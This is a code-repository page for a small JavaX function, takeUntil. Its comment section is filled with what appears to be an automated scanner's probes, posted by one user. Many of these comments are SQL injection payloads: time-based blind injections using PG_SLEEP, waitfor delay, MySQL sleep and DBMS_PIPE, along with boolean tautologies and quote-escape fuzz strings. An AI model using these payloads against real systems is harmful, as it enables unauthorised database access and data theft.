Not logged in.  Login/Logout/Register | List snippets | | Create snippet | Upload image | Upload data

11
LINES

< > BotCompany Repo | #1038791 // takeUntil - take elements from iterable until one matches the predicate

JavaX fragment (include) [tags: @@ADiTg @@pzDwU archiveeE9X9vbq archiveyGtV1Dhy use-pretranspiled]

Libraryless. Click here for Pure Java version (10685L/58K).

static <A> L<A> takeUntil(Iterable<A> l, bool includeLast, IF1<A, Bool> pred) {
  new L<A> out;
  fOr (A a : l)
    if (pred.get(a)) {
      if (includeLast)
        out.add(a);
      ret out;
    } else
      out.add(a);
  ret out;
}

Author comment

Began life as a copy of #1033231

download  show line numbers  debug dex  old transpilations   

Relations

Travelled to 2 computer(s): elmgxqgtpvxh, mqqgnosmbjvj

Comments [hide]

ID Author/Program Comment Date
2861 wumrlvwz 1 2026-03-13 20:20:38
2860 wumrlvwz 1 2026-03-13 20:20:38
2859 wumrlvwz 1 2026-03-13 20:20:31
2858 wumrlvwz 1 2026-03-13 20:20:31
2857 wumrlvwz 1 2026-03-13 20:20:20
2856 wumrlvwz 1 2026-03-13 20:20:20
2825 wumrlvwz 1 2026-03-13 20:18:53
2823 wumrlvwz 1 2026-03-13 20:18:53
2820 wumrlvwz 1 2026-03-13 20:18:47
2819 wumrlvwz 1 2026-03-13 20:18:47
2817 wumrlvwz 1 2026-03-13 20:18:35
2816 wumrlvwz 1 2026-03-13 20:18:35
2813 wumrlvwz 555 2026-03-13 20:18:28
2812 wumrlvwz 555 2026-03-13 20:18:28
2811 wumrlvwz 555 2026-03-13 20:18:28
2810 wumrlvwz 555 2026-03-13 20:18:28
2808 wumrlvwz 555 2026-03-13 20:18:23
2806 wumrlvwz 555 2026-03-13 20:18:20
2804 wumrlvwz 555 2026-03-13 20:18:16
2802 wumrlvwz 555 2026-03-13 20:18:13
2795 wumrlvwz 555 2026-03-13 20:18:09
2793 wumrlvwz 555 2026-03-13 20:18:06
2792 wumrlvwz 555 2026-03-13 20:18:03
2791 wumrlvwz 555 2026-03-13 20:18:00
2790 wumrlvwz 555 2026-03-13 20:17:58
2789 wumrlvwz 555 2026-03-13 20:17:56
2788 wumrlvwz 555 2026-03-13 20:17:54
2785 wumrlvwz 555 2026-03-13 20:17:47
2779 wumrlvwz 555 2026-03-13 20:17:44
2778 wumrlvwz 555 2026-03-13 20:17:39
2777 wumrlvwz @@5NbV7 2026-03-13 20:17:37
2776 wumrlvwz 555????%2527%2522\'\" 2026-03-13 20:17:37
2775 wumrlvwz 555'" 2026-03-13 20:17:37
2774 wumrlvwz 555 2026-03-13 20:17:37
2773 wumrlvwz 555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 2026-03-13 20:17:37
2772 wumrlvwz 555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 2026-03-13 20:17:34
2771 wumrlvwz 5552fn7frhQ')) OR 848=(SELECT 848 FROM PG_SLEEP(15))-- 2026-03-13 20:17:32
2770 wumrlvwz 1 2026-03-13 20:17:32
2769 wumrlvwz 1 2026-03-13 20:17:32
2768 wumrlvwz 1 2026-03-13 20:17:32
2767 wumrlvwz 1 2026-03-13 20:17:32
2766 wumrlvwz 555sPUqWUQJ') OR 809=(SELECT 809 FROM PG_SLEEP(15))-- 2026-03-13 20:17:30
2765 wumrlvwz 1 2026-03-13 20:17:30
2759 wumrlvwz 555czFNsk3W' OR 892=(SELECT 892 FROM PG_SLEEP(15))-- 2026-03-13 20:17:28
2758 wumrlvwz 1 2026-03-13 20:17:28
2756 wumrlvwz 555-1)) OR 538=(SELECT 538 FROM PG_SLEEP(15))-- 2026-03-13 20:17:27
2755 wumrlvwz 1 2026-03-13 20:17:26
2753 wumrlvwz 555-1) OR 872=(SELECT 872 FROM PG_SLEEP(15))-- 2026-03-13 20:17:24
2752 wumrlvwz 1 2026-03-13 20:17:24
2750 wumrlvwz 555-1 OR 169=(SELECT 169 FROM PG_SLEEP(15))-- 2026-03-13 20:17:22
2749 wumrlvwz 1 2026-03-13 20:17:22
2746 wumrlvwz 555Y6mkDxDu'; waitfor delay '0:0:15' -- 2026-03-13 20:17:19
2745 wumrlvwz 1 2026-03-13 20:17:18
2743 wumrlvwz 555-1 waitfor delay '0:0:15' -- 2026-03-13 20:17:17
2742 wumrlvwz 1 2026-03-13 20:17:17
2740 wumrlvwz 555-1); waitfor delay '0:0:15' -- 2026-03-13 20:17:15
2739 wumrlvwz 1 2026-03-13 20:17:14
2737 wumrlvwz 555-1; waitfor delay '0:0:15' -- 2026-03-13 20:17:13
2736 wumrlvwz 1 2026-03-13 20:17:13
2734 wumrlvwz (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 2026-03-13 20:17:11
2733 wumrlvwz 1 2026-03-13 20:17:11
2731 wumrlvwz 5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z 2026-03-13 20:17:09
2730 wumrlvwz 1 2026-03-13 20:17:09
2728 wumrlvwz 5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z 2026-03-13 20:17:07
2725 wumrlvwz 555*if(now()=sysdate(),sleep(15),0) 2026-03-13 20:17:04
2721 wumrlvwz -1" OR 2+308-308-1=0+0+0+1 -- 2026-03-13 20:17:02
2720 wumrlvwz -1' OR 2+608-608-1=0+0+0+1 or 'MVmcEx3Z'=' 2026-03-13 20:17:02
2719 wumrlvwz -1' OR 2+600-600-1=0+0+0+1 -- 2026-03-13 20:17:02
2718 wumrlvwz -1 OR 2+90-90-1=0+0+0+1 2026-03-13 20:17:02
2717 wumrlvwz -1 OR 2+43-43-1=0+0+0+1 -- 2026-03-13 20:17:02
2716 wumrlvwz 555 2026-03-13 20:17:02
2709 wumrlvwz 555 2026-03-13 20:16:44
2708 wumrlvwz 1 2026-03-13 20:16:44
2701 wumrlvwz 1 2026-03-13 20:16:42
2695 wumrlvwz 1 2026-03-13 20:16:40
2687 wumrlvwz @@Vk5ZV 2026-03-13 20:16:39
2686 wumrlvwz 1????%2527%2522\'\" 2026-03-13 20:16:39
2685 wumrlvwz 1'" 2026-03-13 20:16:39
2684 wumrlvwz 1 2026-03-13 20:16:39
2683 wumrlvwz 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 2026-03-13 20:16:39
2680 wumrlvwz 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 2026-03-13 20:16:38
2673 wumrlvwz 14HvDQwVM')) OR 858=(SELECT 858 FROM PG_SLEEP(15))-- 2026-03-13 20:16:36
2670 wumrlvwz 1m4EiSpTJ') OR 940=(SELECT 940 FROM PG_SLEEP(15))-- 2026-03-13 20:16:34
2667 wumrlvwz 1q6h5BRZz' OR 977=(SELECT 977 FROM PG_SLEEP(15))-- 2026-03-13 20:16:32
2664 wumrlvwz 1-1)) OR 879=(SELECT 879 FROM PG_SLEEP(15))-- 2026-03-13 20:16:31
2661 wumrlvwz 1-1) OR 729=(SELECT 729 FROM PG_SLEEP(15))-- 2026-03-13 20:16:29
2658 wumrlvwz 1-1 OR 558=(SELECT 558 FROM PG_SLEEP(15))-- 2026-03-13 20:16:28
2655 wumrlvwz 1pghjVxA5'; waitfor delay '0:0:15' -- 2026-03-13 20:16:26
2652 wumrlvwz 1-1 waitfor delay '0:0:15' -- 2026-03-13 20:16:25
2649 wumrlvwz 1-1); waitfor delay '0:0:15' -- 2026-03-13 20:16:24
2647 wumrlvwz 1-1; waitfor delay '0:0:15' -- 2026-03-13 20:16:22
2644 wumrlvwz (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 2026-03-13 20:16:21
2641 wumrlvwz 10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z 2026-03-13 20:16:20
2638 wumrlvwz 10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z 2026-03-13 20:16:19
2630 wumrlvwz 1*if(now()=sysdate(),sleep(15),0) 2026-03-13 20:16:16
2622 wumrlvwz -1" OR 2+31-31-1=0+0+0+1 -- 2026-03-13 20:16:14
2621 wumrlvwz -1' OR 2+596-596-1=0+0+0+1 or 'AfQvOYgL'=' 2026-03-13 20:16:14
2619 wumrlvwz -1' OR 2+531-531-1=0+0+0+1 -- 2026-03-13 20:16:14
2618 wumrlvwz -1 OR 2+759-759-1=0+0+0+1 2026-03-13 20:16:14
2617 wumrlvwz -1 OR 2+159-159-1=0+0+0+1 -- 2026-03-13 20:16:14
2616 wumrlvwz 1 2026-03-13 20:16:14
2606 wumrlvwz 1 2026-03-13 20:16:13
2602 wumrlvwz 1 2026-03-13 20:16:12
2600 wumrlvwz 1 2026-03-13 20:16:12
2599 wumrlvwz 1 2026-03-13 20:16:12
2598 wumrlvwz 1 2026-03-13 20:16:12
2594 wumrlvwz 1 2026-03-13 20:16:10
2591 wumrlvwz 555 2026-03-13 20:16:08
2590 wumrlvwz @@NY3BU 2026-03-13 20:16:07
2589 wumrlvwz 1 2026-03-13 20:16:07
2588 wumrlvwz 555????%2527%2522\'\" 2026-03-13 20:16:07
2586 wumrlvwz 555'" 2026-03-13 20:16:07
2585 wumrlvwz 555 2026-03-13 20:16:07
2584 wumrlvwz 555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 2026-03-13 20:16:07
2582 wumrlvwz 1 2026-03-13 20:16:06
2580 wumrlvwz 555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 2026-03-13 20:16:06
2578 wumrlvwz 1 2026-03-13 20:16:04
2576 wumrlvwz 555yTDqvQms')) OR 217=(SELECT 217 FROM PG_SLEEP(15))-- 2026-03-13 20:16:04
2575 wumrlvwz 1 2026-03-13 20:16:04
2574 wumrlvwz 1 2026-03-13 20:16:04
2572 wumrlvwz 1 2026-03-13 20:16:03
2570 wumrlvwz 555gscZaeQP') OR 880=(SELECT 880 FROM PG_SLEEP(15))-- 2026-03-13 20:16:03
2568 wumrlvwz 1 2026-03-13 20:16:02
2566 wumrlvwz 555ltzD5K8k' OR 526=(SELECT 526 FROM PG_SLEEP(15))-- 2026-03-13 20:16:01
2564 wumrlvwz 1 2026-03-13 20:16:00
2558 wumrlvwz 555-1)) OR 221=(SELECT 221 FROM PG_SLEEP(15))-- 2026-03-13 20:16:00
2556 wumrlvwz 1 2026-03-13 20:15:59
2553 wumrlvwz 555-1) OR 171=(SELECT 171 FROM PG_SLEEP(15))-- 2026-03-13 20:15:58
2552 wumrlvwz 1 2026-03-13 20:15:58
2551 wumrlvwz 1 2026-03-13 20:15:58
2549 wumrlvwz 1 2026-03-13 20:15:57
2546 wumrlvwz 555-1 OR 384=(SELECT 384 FROM PG_SLEEP(15))-- 2026-03-13 20:15:57
2544 wumrlvwz 1 2026-03-13 20:15:56
2541 wumrlvwz 555Wuflkfud'; waitfor delay '0:0:15' -- 2026-03-13 20:15:55
2539 wumrlvwz 1 2026-03-13 20:15:54
2536 wumrlvwz 555-1 waitfor delay '0:0:15' -- 2026-03-13 20:15:54
2532 wumrlvwz 555-1); waitfor delay '0:0:15' -- 2026-03-13 20:15:52
2527 wumrlvwz 555-1; waitfor delay '0:0:15' -- 2026-03-13 20:15:51
2517 wumrlvwz (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 2026-03-13 20:15:49
2516 wumrlvwz 1 2026-03-13 20:15:49
2507 wumrlvwz 5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z 2026-03-13 20:15:48
2500 wumrlvwz 1 2026-03-13 20:15:47
2493 wumrlvwz 1 2026-03-13 20:15:47
2492 wumrlvwz 1 2026-03-13 20:15:47
2491 wumrlvwz 5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z 2026-03-13 20:15:47
2490 wumrlvwz 1 2026-03-13 20:15:46
2487 wumrlvwz 555*if(now()=sysdate(),sleep(15),0) 2026-03-13 20:15:45
2486 wumrlvwz 1 2026-03-13 20:15:45
2484 wumrlvwz 1 2026-03-13 20:15:45
2482 wumrlvwz 1 2026-03-13 20:15:45
2481 wumrlvwz 1 2026-03-13 20:15:44
2480 wumrlvwz 1 2026-03-13 20:15:44
2479 wumrlvwz -1" OR 2+666-666-1=0+0+0+1 -- 2026-03-13 20:15:44
2478 wumrlvwz -1' OR 2+258-258-1=0+0+0+1 or 'ybDD5Ml8'=' 2026-03-13 20:15:44
2477 wumrlvwz -1' OR 2+872-872-1=0+0+0+1 -- 2026-03-13 20:15:44
2476 wumrlvwz -1 OR 2+799-799-1=0+0+0+1 2026-03-13 20:15:43
2474 wumrlvwz -1 OR 2+850-850-1=0+0+0+1 -- 2026-03-13 20:15:43
2473 wumrlvwz 555 2026-03-13 20:15:43
2471 wumrlvwz 1 2026-03-13 20:15:41
2470 wumrlvwz 555 2026-03-13 20:15:39
2467 wumrlvwz 1 2026-03-13 20:15:37
2466 wumrlvwz 555 2026-03-13 20:15:34
2464 wumrlvwz 555 2026-03-13 20:15:34
2463 wumrlvwz 555 2026-03-13 20:15:34
2461 wumrlvwz 555 2026-03-13 20:15:34
2460 wumrlvwz 555 2026-03-13 20:15:34
2459 wumrlvwz 1 2026-03-13 20:15:34
2456 wumrlvwz 555 2026-03-13 20:15:32
2455 wumrlvwz 1 2026-03-13 20:15:32
2451 wumrlvwz 555 2026-03-13 20:15:30
2447 wumrlvwz 1 2026-03-13 20:15:30
2444 wumrlvwz 555 2026-03-13 20:15:28
2443 wumrlvwz 1 2026-03-13 20:15:28
2440 wumrlvwz 555 2026-03-13 20:15:27
2439 wumrlvwz 1 2026-03-13 20:15:27
2432 wumrlvwz 555 2026-03-13 20:15:25
2431 wumrlvwz 1 2026-03-13 20:15:25
2428 wumrlvwz 555 2026-03-13 20:15:24
2427 wumrlvwz 1 2026-03-13 20:15:24
2424 wumrlvwz 555 2026-03-13 20:15:22
2423 wumrlvwz 1 2026-03-13 20:15:22
2420 wumrlvwz 555 2026-03-13 20:15:20
2419 wumrlvwz 1 2026-03-13 20:15:19
2416 wumrlvwz 555 2026-03-13 20:15:18
2415 wumrlvwz 1 2026-03-13 20:15:18
2412 wumrlvwz 555 2026-03-13 20:15:16
2411 wumrlvwz 555 2026-03-13 20:15:15
2410 wumrlvwz 555 2026-03-13 20:15:15
2409 wumrlvwz 1 2026-03-13 20:15:15
2408 wumrlvwz 555 2026-03-13 20:15:15
2407 wumrlvwz 555 2026-03-13 20:15:14
2405 wumrlvwz 555 2026-03-13 20:15:14
2398 wumrlvwz 1 2026-03-13 20:15:11
2396 wumrlvwz 555 2026-03-13 20:15:11
2394 wumrlvwz 1 2026-03-13 20:15:10
2392 wumrlvwz 555 2026-03-13 20:15:08
2391 wumrlvwz 1 2026-03-13 20:15:08
2390 wumrlvwz 1 2026-03-13 20:15:08
2389 wumrlvwz 1 2026-03-13 20:15:08
2388 wumrlvwz 1 2026-03-13 20:15:08
2387 wumrlvwz 1 2026-03-13 20:15:08
2385 wumrlvwz 1 2026-03-13 20:15:08
2383 wumrlvwz 1 2026-03-13 20:15:06
2381 wumrlvwz @@ipJaP 2026-03-13 20:15:04
2380 wumrlvwz 1????%2527%2522\'\" 2026-03-13 20:15:04
2379 wumrlvwz 1'" 2026-03-13 20:15:04
2378 wumrlvwz 1 2026-03-13 20:15:03
2377 wumrlvwz 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 2026-03-13 20:15:03
2375 wumrlvwz 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 2026-03-13 20:15:01
2373 wumrlvwz 1PG6zoIWm')) OR 451=(SELECT 451 FROM PG_SLEEP(15))-- 2026-03-13 20:14:59
2371 wumrlvwz 1UOgaYebL') OR 87=(SELECT 87 FROM PG_SLEEP(15))-- 2026-03-13 20:14:54
2369 wumrlvwz 1jA1coTWp' OR 626=(SELECT 626 FROM PG_SLEEP(15))-- 2026-03-13 20:14:48
2362 wumrlvwz 1-1)) OR 512=(SELECT 512 FROM PG_SLEEP(15))-- 2026-03-13 20:14:40
2360 wumrlvwz 1-1) OR 754=(SELECT 754 FROM PG_SLEEP(15))-- 2026-03-13 20:14:34
2354 wumrlvwz 1-1 OR 553=(SELECT 553 FROM PG_SLEEP(15))-- 2026-03-13 20:14:28
2352 wumrlvwz 1sXrcfdKW'; waitfor delay '0:0:15' -- 2026-03-13 20:14:21
2350 wumrlvwz 1-1 waitfor delay '0:0:15' -- 2026-03-13 20:14:19
2348 wumrlvwz 1-1); waitfor delay '0:0:15' -- 2026-03-13 20:14:17
2346 wumrlvwz 1-1; waitfor delay '0:0:15' -- 2026-03-13 20:14:15
2344 wumrlvwz (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 2026-03-13 20:14:13
2342 wumrlvwz 1 2026-03-13 20:14:02
2341 wumrlvwz 10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z 2026-03-13 20:14:02
2340 wumrlvwz 1 2026-03-13 20:13:58
2339 wumrlvwz 1 2026-03-13 20:13:51
2338 wumrlvwz 1 2026-03-13 20:13:49
2336 wumrlvwz 10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z 2026-03-13 20:13:39
2334 wumrlvwz 1*if(now()=sysdate(),sleep(15),0) 2026-03-13 20:13:38
2332 wumrlvwz -1" OR 2+744-744-1=0+0+0+1 -- 2026-03-13 20:13:36
2331 wumrlvwz -1' OR 2+213-213-1=0+0+0+1 or 'nOIzGtna'=' 2026-03-13 20:13:36
2330 wumrlvwz -1' OR 2+645-645-1=0+0+0+1 -- 2026-03-13 20:13:36
2329 wumrlvwz 1 2026-03-13 20:13:36
2328 wumrlvwz -1 OR 2+568-568-1=0+0+0+1 2026-03-13 20:13:36
2327 wumrlvwz -1 OR 2+197-197-1=0+0+0+1 -- 2026-03-13 20:13:36
2326 wumrlvwz 1 2026-03-13 20:13:36
2325 wumrlvwz 1 2026-03-13 20:13:36
2315 wumrlvwz 1 2026-03-13 20:13:34

add comment

Snippet ID: #1038791
Snippet name: takeUntil - take elements from iterable until one matches the predicate
Eternal ID of this version: #1038791/3
Text MD5: 9c6e4b1151c033f743d5d3cd5eaeab92
Transpilation MD5: fef0e4230dac40b4c8af55a6ee880265
Author: stefan
Category: javax
Type: JavaX fragment (include)
Public (visible to everyone): Yes
Archived (hidden from active list): No
Created/modified: 2026-02-09 22:21:52
Source code size: 246 bytes / 11 lines
Pitched / IR pitched: No / No
Views / Downloads: 445 / 575
Version history: 2 change(s)
Referenced in: [show references]